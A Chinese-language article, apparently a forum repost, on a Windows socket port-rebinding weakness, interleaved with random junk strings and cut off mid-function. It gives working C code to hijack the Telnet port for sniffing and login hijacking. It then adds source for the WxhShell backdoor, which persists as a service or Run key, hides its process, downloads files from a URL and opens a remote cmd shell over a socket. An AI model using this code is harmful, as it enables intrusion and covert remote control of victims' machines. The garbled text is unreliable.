在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&TQ~!ZMOR" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Z6i~Dy3 F!ztU8, saddr.sin_family = AF_INET;
u*)/e9C QDQ"Sc06 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
*kFd#b+xB "j,vlG bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
J~]@#=,v ?1JY6v]h4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^?+[yvq I\k<PglRA 这意味着什么?意味着可以进行如下的攻击:
jL"V0M]c '!7>*< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
'%[ Y P7XZ|Td4* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
v4"Ukv C:t>u.. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
uo]xC+^ &3Zb? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
rBTg"^jsw X_o#! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
iv *$!\Cd xBTx`+%WS 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
D`a6D }]o8}$&( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
w_Slg&S )0exGx+: #include
WT<}3(S'? #include
v-3VzAd=*& #include
K_)~&Cu*' #include
Yjc U2S"=P DWORD WINAPI ClientThread(LPVOID lpParam);
7b>_vtrt int main()
WK`o3ayH- {
;kk[x8$ WORD wVersionRequested;
& mO n] DWORD ret;
b},2A'X WSADATA wsaData;
G^k'sgy. BOOL val;
`5Kg[nB: SOCKADDR_IN saddr;
s;OGb{H7 SOCKADDR_IN scaddr;
L?d?O int err;
rz%~=Ca2j SOCKET s;
:C} I6v= SOCKET sc;
qS/}aDk& int caddsize;
j*?8w(! HANDLE mt;
5:IDl1f5 DWORD tid;
-eF-r=FR wVersionRequested = MAKEWORD( 2, 2 );
.h=n [`RB err = WSAStartup( wVersionRequested, &wsaData );
1Z< ^8L< if ( err != 0 ) {
8>eYM printf("error!WSAStartup failed!\n");
uS`} return -1;
9Q4{ cB
}
{fACfSW6 saddr.sin_family = AF_INET;
9m)$^U>oz Hp=BnN //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
qhxMO[f hi!A9T3%}M saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;^xM"
{G8 saddr.sin_port = htons(23);
wG[nwt0L if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
f%o[eW# {
HRyFjAR\? printf("error!socket failed!\n");
V
,p~,rC return -1;
^Qx?)(@ }
Q`9c/vPU val = TRUE;
=SLG N`m3 //SO_REUSEADDR选项就是可以实现端口重绑定的
'/u|32 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
#MA6eE'R {
(`dz37@* printf("error!setsockopt failed!\n");
B<SE|~\2 return -1;
Ux=~-}<-w }
o(SPT?ao~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ih0a#PB8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>k\pSV[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&<e18L7a L8h3kT if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
uMw6b=/U {
Nz2V aZ ret=GetLastError();
47Z3nl? printf("error!bind failed!\n");
(2#Xa,pb return -1;
'M~`IN` }
*ai~!TR listen(s,2);
LsWD^JE. while(1)
-n 9&W {
9?,i+\)qK@ caddsize = sizeof(scaddr);
fY&TI}Y //接受连接请求
#!F>cez sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
xA
Ez1 if(sc!=INVALID_SOCKET)
S<i1t[E@W {
w&L~+Z< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
O.B9w+G= if(mt==NULL)
2/4zg {
t<` As6} printf("Thread Creat Failed!\n");
Nj4CkMM[3 break;
]oV{JR] }
b M1\z }
|iHMAo CloseHandle(mt);
g& e u }
EU[eG^/0@ closesocket(s);
dB_0B. WSACleanup();
J]TqH`MA return 0;
_l7_!Il_ }
`Jc/ o=] DWORD WINAPI ClientThread(LPVOID lpParam)
?2&= +QaT {
dHIk3j-! SOCKET ss = (SOCKET)lpParam;
Q)0KYKD+@ SOCKET sc;
Qz[^J unsigned char buf[4096];
e El)wZ,A SOCKADDR_IN saddr;
$,~Ily7w long num;
;-VZV p}Y DWORD val;
r"2lcNE DWORD ret;
X=#us7W} //如果是隐藏端口应用的话,可以在此处加一些判断
_A C N //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
[o<hQ`& saddr.sin_family = AF_INET;
v>wN
O saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
q|<B9Jk saddr.sin_port = htons(23);
_!o8s%9be if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$!*>5".A {
!0@4*>n printf("error!socket failed!\n");
o9e8Oj& return -1;
T9V=#+8#" }
Bn]=T val = 100;
E_=F'sP? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$97O7j@ {
/8e}c` ret = GetLastError();
.1[.f}g$J return -1;
'{2]: }
S#M8}+ZD, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,)[9RgsE {
b$DiDm ret = GetLastError();
o>8~rtl return -1;
;<garDf }
R278 ^E if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N-upNuv {
[<53_2]~ printf("error!socket connect failed!\n");
Eto"B" closesocket(sc);
Sh!c]r>\Q closesocket(ss);
L4Jm8sy{ return -1;
jcqUY+T$ }
'UsR/h5T while(1)
`TJhH<z"% {
^nPy(Q0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
O(W"QY //如果是嗅探内容的话,可以再此处进行内容分析和记录
/.0K#J:
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
mzK0$y#*o num = recv(ss,buf,4096,0);
D-/6RVq0m if(num>0)
!-}Q{<2@W send(sc,buf,num,0);
I9Ohz!RQ else if(num==0)
! :]_-DX break;
#$BFTlm| num = recv(sc,buf,4096,0);
}eVDe(7_ if(num>0)
3tf_\E+mIi send(ss,buf,num,0);
^!S4?<v else if(num==0)
B9NUafK= break;
X6
BIZ }
]!AS%D` closesocket(ss);
FXBmatBck closesocket(sc);
"v:k5a( return 0 ;
(O J/u)W^ }
O6Py 5&s6(?,Eu 9Do75S{( ==========================================================
$^fF}y6N 1TQ?Fxj 下边附上一个代码,,WXhSHELL
Xq$-&~
@ !")shc ==========================================================
4JK6<Pk nCi
]6;Y #include "stdafx.h"
W5Z-s.o :<P4=P P #include <stdio.h>
GPHb- #include <string.h>
+
-Rf@ #include <windows.h>
.F7?}8>Z #include <winsock2.h>
w0g@ <(
3 #include <winsvc.h>
v>LK+|U #include <urlmon.h>
YxM\qy{Vr V5lUh#@TN& #pragma comment (lib, "Ws2_32.lib")
iO*5ClB #pragma comment (lib, "urlmon.lib")
tM"vIz 05 ,Sgo_bC/| #define MAX_USER 100 // 最大客户端连接数
d=bKNA90 #define BUF_SOCK 200 // sock buffer
Oz%6y
ri #define KEY_BUFF 255 // 输入 buffer
;t +p2i *}C%z( #define REBOOT 0 // 重启
@2"3RmYLo #define SHUTDOWN 1 // 关机
5Yv*f: D
1.59mHsD #define DEF_PORT 5000 // 监听端口
Nmx\qJUR( `
1+*-g^r #define REG_LEN 16 // 注册表键长度
(m2%7f.I #define SVC_LEN 80 // NT服务名长度
1SjVj9{: q,ie)` // 从dll定义API
<2]h$53y! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4C?{p%3c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
PJZ;wqTD_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
l\
dPfJ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%BC%fVdP E?+~S M1~ // wxhshell配置信息
a&G{3#l struct WSCFG {
N>3{!K>/Y: int ws_port; // 监听端口
+>C26Q char ws_passstr[REG_LEN]; // 口令
Y[L,rc/j int ws_autoins; // 安装标记, 1=yes 0=no
|5(un# char ws_regname[REG_LEN]; // 注册表键名
o+hp#e char ws_svcname[REG_LEN]; // 服务名
!X7z y9 char ws_svcdisp[SVC_LEN]; // 服务显示名
O83J[YuzjN char ws_svcdesc[SVC_LEN]; // 服务描述信息
K7C
<}y char ws_passmsg[SVC_LEN]; // 密码输入提示信息
k+{~#@ int ws_downexe; // 下载执行标记, 1=yes 0=no
-I{op
wd char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
JYNnzgd char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Y&b Yaq gWHY7rv };
=T3{!\tH (QIU 3EN // default Wxhshell configuration
4OM
]8I! struct WSCFG wscfg={DEF_PORT,
G h+;Vrx "xuhuanlingzhe",
?M4ig_ 1,
UZt3Ua&J "Wxhshell",
&c-V
QP( "Wxhshell",
vVtkB$]L "WxhShell Service",
WrwbLl E "Wrsky Windows CmdShell Service",
mIf)=RW "Please Input Your Password: ",
BsXF'x<U* 1,
P4"BX*x "
http://www.wrsky.com/wxhshell.exe",
5(#z)T "Wxhshell.exe"
8-+# !] };
]uhG&:
} $xW9)) // 消息定义模块
GjEV]hqR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
C4E}.``Hm char *msg_ws_prompt="\n\r? for help\n\r#>";
aT2%Az@j char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
xb[yy}>"L char *msg_ws_ext="\n\rExit.";
vrmMEWPV char *msg_ws_end="\n\rQuit.";
JUw|nUnl? char *msg_ws_boot="\n\rReboot...";
0*]0#2Z char *msg_ws_poff="\n\rShutdown...";
prO&"t
> char *msg_ws_down="\n\rSave to ";
)Mq4p'*A[
LT{g^g char *msg_ws_err="\n\rErr!";
X_-/j. char *msg_ws_ok="\n\rOK!";
IrRy1][Qr "T /$K char ExeFile[MAX_PATH];
y+B iaD!U int nUser = 0;
9*j"@Rm HANDLE handles[MAX_USER];
)X#$G?|Hn int OsIsNt;
v89tV9O) "xC$Ko _ SERVICE_STATUS serviceStatus;
w\
'5lk," SERVICE_STATUS_HANDLE hServiceStatusHandle;
M GC=L . 9Q(Lnu // 函数声明
zz3{+1w] int Install(void);
9ox5,7ZQ int Uninstall(void);
S9:ij1 int DownloadFile(char *sURL, SOCKET wsh);
y46sL~HRv int Boot(int flag);
"?aE3$/ void HideProc(void);
W{JR%Sq$ int GetOsVer(void);
|LIcq0Z int Wxhshell(SOCKET wsl);
um PN=0u6 void TalkWithClient(void *cs);
nUq@`G int CmdShell(SOCKET sock);
1 h(n}u int StartFromService(void);
'O ~_g5kC int StartWxhshell(LPSTR lpCmdLine);
De$Ic"Z9L T:'<:*pD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
M| }?5NS
VOID WINAPI NTServiceHandler( DWORD fdwControl );
( q*/=u CiU^U|~ 'L // 数据结构和表定义
:p<:0W2! SERVICE_TABLE_ENTRY DispatchTable[] =
-{L 7%j|R {
r8y,$Mv<)0 {wscfg.ws_svcname, NTServiceMain},
'h&>K,U?5 {NULL, NULL}
f
4K)Z
e };
+tkm,>s #?M[Q: // 自我安装
p/ZgzHyF int Install(void)
Y]&2E/oc {
A\/DAVnI char svExeFile[MAX_PATH];
R90chl HKEY key;
CU\r
I strcpy(svExeFile,ExeFile);
!x-9A @(/$;I, // 如果是win9x系统,修改注册表设为自启动
Ei,dO;& if(!OsIsNt) {
=*(_sW6; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wMm+E "}W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6a]Qg99\ RegCloseKey(key);
Nsy>qa7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,uO?f1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|.~2C14[ RegCloseKey(key);
2sBYy 8.r return 0;
B_c-@kl }
AA|G&&1y
}
9Z2aFW9 }
=;8q` else {
4tiCxf) V,7Xeh(+5L // 如果是NT以上系统,安装为系统服务
kU)E-h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
v~^*L iP+ if (schSCManager!=0)
*~#`LO {
{R~L7uR@O SC_HANDLE schService = CreateService
w&^Dbme (
0rDQJCm schSCManager,
<aMihT)dd wscfg.ws_svcname,
's8LrO(= wscfg.ws_svcdisp,
d8jP@> SERVICE_ALL_ACCESS,
j}%C;;MPH SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
c@O7,y:`I SERVICE_AUTO_START,
g{?{N SERVICE_ERROR_NORMAL,
!q+
%]k?x svExeFile,
Em<J{`k6 NULL,
>tkU+$;- NULL,
a,t]> z95 NULL,
t(^Lh.<a NULL,
7BgA+Fz NULL
QUdF`_U7 );
u"q!p5P%q if (schService!=0)
Qz A)HDQ {
AdF[>Wv CloseServiceHandle(schService);
TY#pj CloseServiceHandle(schSCManager);
qy!pD
R; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)Vy}oFT\ strcat(svExeFile,wscfg.ws_svcname);
6:bvq?5a5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
xtS0D^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
nza^<DlS RegCloseKey(key);
SP|Dz,o return 0;
V+y:!t` }
}?d
l.=eq }
1z8AK"8 CloseServiceHandle(schSCManager);
0j-;4>p }
4mWT"T-8 }
q'[yYPDX5x K@=_&A! return 1;
-QydUr/(o }
5~omZ,qe J$Ba*`~!! // 自我卸载
4[LzjC int Uninstall(void)
L_YY, {
'q*/P&x5 HKEY key;
Dmk~t="Y ~gbq^ if(!OsIsNt) {
HuL9' M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L5>.ku=T RegDeleteValue(key,wscfg.ws_regname);
gY@$g RegCloseKey(key);
KA{Y*m^7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\tg}K0E?R5 RegDeleteValue(key,wscfg.ws_regname);
^p7Er! RegCloseKey(key);
e,0Gc-X[B return 0;
dzc.s8T(0 }
5zII4ukn* }
b"#|0d0 }
)x&}{k6 % else {
e0u*\b $30lNZK1m8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
uw&'=G6v if (schSCManager!=0)
@MGc_"b {
wkZ}o,{*: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
!Zf)N_k if (schService!=0)
,ffH:3F {
-Z%B9ql' if(DeleteService(schService)!=0) {
9/S-=VOe.t CloseServiceHandle(schService);
4#@zn 2l CloseServiceHandle(schSCManager);
s@bo df& return 0;
X5D}<J2" }
(}n,Ou[ CloseServiceHandle(schService);
jJCd2O] }
Q2/ZO2 CloseServiceHandle(schSCManager);
e?~6HP^%. }
T#sKld }
I_@XHhyVZ iY1JU-S return 1;
s5ddGiZnBT }
Cy##+u,C wrW768WR // 从指定url下载文件
j"8|U
E int DownloadFile(char *sURL, SOCKET wsh)
t.oP]_mI {
snyg HRESULT hr;
"S@%d(lg char seps[]= "/";
~nG?> char *token;
{__"Z< char *file;
]`Y;4XR char myURL[MAX_PATH];
:X;'37o#q char myFILE[MAX_PATH];
hpJi,4r.d YTpO4bX strcpy(myURL,sURL);
<$'OSN`! token=strtok(myURL,seps);
GoNX\^A while(token!=NULL)
,0=:06l {
"+V.Yue`R file=token;
f=Rx8I token=strtok(NULL,seps);
Mrlv(1PQT }
vrD]o1F $fA%_T_P'P GetCurrentDirectory(MAX_PATH,myFILE);
bO%bMZWB!y strcat(myFILE, "\\");
Rc H",*U strcat(myFILE, file);
N&t+*kF_ send(wsh,myFILE,strlen(myFILE),0);
H)5v X+9D send(wsh,"...",3,0);
rOu7r 4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
bytAdS$3 if(hr==S_OK)
|};P"& return 0;
{1V~`1(w else
)xuvY3BPB? return 1;
C.
Hr |Tp>,\:5 }
#;6YADk2_ .W<yiB}^ // 系统电源模块
zviEk/:zm int Boot(int flag)
iIoeG_^*Y {
4c*?9r@ HANDLE hToken;
wQX,a;Br TOKEN_PRIVILEGES tkp;
-*u7MFq_ /=}w%-;/; if(OsIsNt) {
b*xw=G3% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/}\EMP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
0a??8?Q1G tkp.PrivilegeCount = 1;
Q9b.]W tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
X
rVF
% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
j ,'$i[F' if(flag==REBOOT) {
6WQT,@? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
c3&;Y0SD return 0;
h7|#7 d }
r9Wk7?w) else {
O$
7R<V if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[;/ydE= return 0;
9""e*-;Mi }
? -PRS.=% }
W0&NX`m else {
^b]h4z$ if(flag==REBOOT) {
"+iPeRF!hU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"RH pj3 si return 0;
Uv~r]P) }
Y9)uy 8c else {
%OeA"# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<0r2m4z return 0;
w NlC2is }
mjDaus59 }
|?=K'[5 lr:rQw9 return 1;
0Z{f!MOh }
RjY(MSc J2M[aibV // win9x进程隐藏模块
VFj}{Y void HideProc(void)
VL5GX( {
o.ntzN P".CZyI-i HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
HrH-e=j if ( hKernel != NULL )
5J^S-K^r {
KErQCBeJ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
t%$> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X\:;A { FreeLibrary(hKernel);
r5kKNyJ }
x w8
e owDp?Sy}E return;
bhqBFiuhH }
| N%?7PZ( fz[o;GTc // 获取操作系统版本
kQ5mIJ9( int GetOsVer(void)
#"J8]3\F {
1PD{m{ OSVERSIONINFO winfo;
t'e1r&^:r~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
038|>l-9[ GetVersionEx(&winfo);
:C*7DS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
kcg{z8cd'r return 1;
zO BLF|L= else
e5/f%4YX return 0;
`52+.*J+% }
)YE3n-~7{ !2-f%x]tO // 客户端句柄模块
_?"P<3/iF int Wxhshell(SOCKET wsl)
^=f<WKn {
WC6yQSnY& SOCKET wsh;
Id6H~; struct sockaddr_in client;
F7!g+LPc< DWORD myID;
,Jm2|WKH W rB:)Q(8= while(nUser<MAX_USER)
iI|mFc|V {
d<{>& int nSize=sizeof(client);
{t<E*5N]a wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~:`5Y"Av: if(wsh==INVALID_SOCKET) return 1;
M3m!u[6| N~rA /B]T handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0!<qfT
a if(handles[nUser]==0)
@ev"{dY closesocket(wsh);
N`3q54_$ else
}HB>Zb5 nUser++;
vGe]; }
0_F6t- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
q~esxp 1:!_AU? return 0;
6#[ }
]S@zhQ zSy^vM;6zf // 关闭 socket
BvQMq5& void CloseIt(SOCKET wsh)
1b^e4 {
&PQhJ#YG closesocket(wsh);
_{Q)5ooP nUser--;
#0HZ"n ExitThread(0);
S T#9auw }
MI^@p`s tB S+?N // 客户端请求句柄
L|B/' void TalkWithClient(void *cs)
Q=YIAGK {
=geopktpf H(L.k;B SOCKET wsh=(SOCKET)cs;
5`Q* char pwd[SVC_LEN];
kYbqb? char cmd[KEY_BUFF];
~quof> char chr[1];
6T"4<w[ int i,j;
``X1xiB E}?n^Zf while (nUser < MAX_USER) {
R;mA2:W)x cs+;ijp if(wscfg.ws_passstr) {
b|SDg%e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q]/ZVcoqo //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
sfD@lW3 //ZeroMemory(pwd,KEY_BUFF);
SvTd#>ke i=0;
#mT\B[4h while(i<SVC_LEN) {
.r ,wc*SF &>nB@SQZ // 设置超时
O*Gg57a fd_set FdRead;
O`?qnNmc; struct timeval TimeOut;
#:B14E FD_ZERO(&FdRead);
)RUx FD_SET(wsh,&FdRead);
_3Kow{y\ TimeOut.tv_sec=8;
Qy4eDv5 TimeOut.tv_usec=0;
6d7E@}< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`!,"">5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
.rPg _HMQx_e0YM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
k)j6rU pwd
=chr[0]; ={'3j
if(chr[0]==0xd || chr[0]==0xa) { -!@]z2uU
pwd=0; p!oO}gE
break; a/wg%cWG_
} .(J~:U
i++; PHAM(iC&D
} 7%j1=V/
1tZ7%0R\g]
// 如果是非法用户,关闭 socket Y0z)5),[U:
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8SZZ_tS3r
} hkpS}*L9o
uSsP'qd
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5q^5DH_;
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /1y\EEc
'hGUsi
while(1) { oV/:T\Qn=
dI(1L~
ZeroMemory(cmd,KEY_BUFF); 2v$\mL
=67ab_V
// 自动支持客户端 telnet标准 ,kQCCn]
j=0; I]@QhCm0
while(j<KEY_BUFF) { p=XEMVqm
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (X?HuWTm
cmd[j]=chr[0]; !We9T )e
if(chr[0]==0xa || chr[0]==0xd) { gB_gjn\
cmd[j]=0; w,T-vf
break; WJlJD*3
} 7_9^nDU
j++; r@t
\a+
} >rhqhmh;W"
9] L4`.HM
// 下载文件 o[aP+O Md
if(strstr(cmd,"http://")) { 9oj#5Hq
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9GX'+$R]
if(DownloadFile(cmd,wsh)) FfRvi8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A(D>Zh6 o@
else u?4d<%5R!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @?n~v^
} r1&eA% eh
else { {i<L<Y(3
|4C5;"P c
switch(cmd[0]) { <YM!K8hu$
P<CPA7K
// 帮助 2RU/oqmR
case '?': { ~v@.YJoZ4Z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )%JjV(:
break; HIqe~Vc
} FrsXLUY
// 安装 &c^tJ-s
case 'i': { \zJb}NbnT
if(Install()) ms&6N']
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r0Zj'F_e
else tXCgRU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HGao} @'
break; /[qLf:rGI
} #e[S+a
// 卸载 (j(hr'f
case 'r': { Ofc
u4pi
if(Uninstall()) /pC60y}O0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :-Wh'H(
else HPY;UN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Mk:Zz%
break; j.yh>"de
}
/s~BE ,su
// 显示 wxhshell 所在路径 6/.kL;AI
case 'p': { Z817f]l
char svExeFile[MAX_PATH]; sis1Dh9:
strcpy(svExeFile,"\n\r"); c;,-I
strcat(svExeFile,ExeFile); b{CS1P
send(wsh,svExeFile,strlen(svExeFile),0); %0zp`'3Y
break; V)fF|E~0
} GP(nb,
// 重启 65vsQ|Zw
case 'b': { #~o<9O
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hf+oG
if(Boot(REBOOT)) N(kSE^skOa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?X+PNw|pf
else { C1uV7t*\
closesocket(wsh); t=\
ffpA
ExitThread(0); Mn 8|
Knh
} G '%ZPh89
break; uf1s}/M
} x9o(q`N
// 关机 *^iSP(dg
case 'd': { Xb~i?T;f
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Elt"tJ
if(Boot(SHUTDOWN)) k*rG^imX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j|>^wB
else { #bS}?fj
closesocket(wsh); !y862oKD
ExitThread(0); t9.| i H
} (+nnX7V?I
break; vW0U~(XlN
} DH"_.j
// 获取shell q>6RO2,
case 's': { t:P]G>)x|
CmdShell(wsh); mYqLqezAA
closesocket(wsh); A>frf[fAW
ExitThread(0); *|^||
bd
break; U1D;O}z~
} Z-L }"~
// 退出 ~ %Ij5PD
case 'x': { Z6nQW53-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FP")$
,=s
CloseIt(wsh); Q?bC'147O
break; ltv~Kh
} ctPT=i60
// 离开 &"=O!t2
case 'q': { / <+F/R'=O
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }&]T0U`@
closesocket(wsh); tlYB'8bJY
WSACleanup(); N+vsQ!Qz
exit(1); W!|l_/L'
break; sT,*<^
} L=5Y^f'aU
} a{Y8hR
} Rl
(+TE
?weuq"*a
// 提示信息 }%c0EY'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &w{z
} "$3~):o
} -,ojZFyRi
{rzQ[_)EC
return; 39x
4(
} %6x3G
Knp}88DR^j
// shell模块句柄 59(kk;
int CmdShell(SOCKET sock) QS@eqN
{ 4 g8t
STARTUPINFO si; 8\+XtS
ZeroMemory(&si,sizeof(si)); <.ZD.u
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z^ .qX\<M
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (rQ)0g@
PROCESS_INFORMATION ProcessInfo; `j'gt&
char cmdline[]="cmd"; !>WW(n07Ma
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H {uR+&<
return 0; ,nWZJ&B
} of'H]IZ
U%K gLg#
// 自身启动模式 .PCbGPbk
int StartFromService(void) miV 8jaV
{ !
QKec
typedef struct L>rW S-
{ +D?Re%HI
DWORD ExitStatus; uFG ;AY|
DWORD PebBaseAddress; 0xV[C4E[6
DWORD AffinityMask; ?SX0e(+}}
DWORD BasePriority; 1]aya(
ULONG UniqueProcessId; ,w,)n^
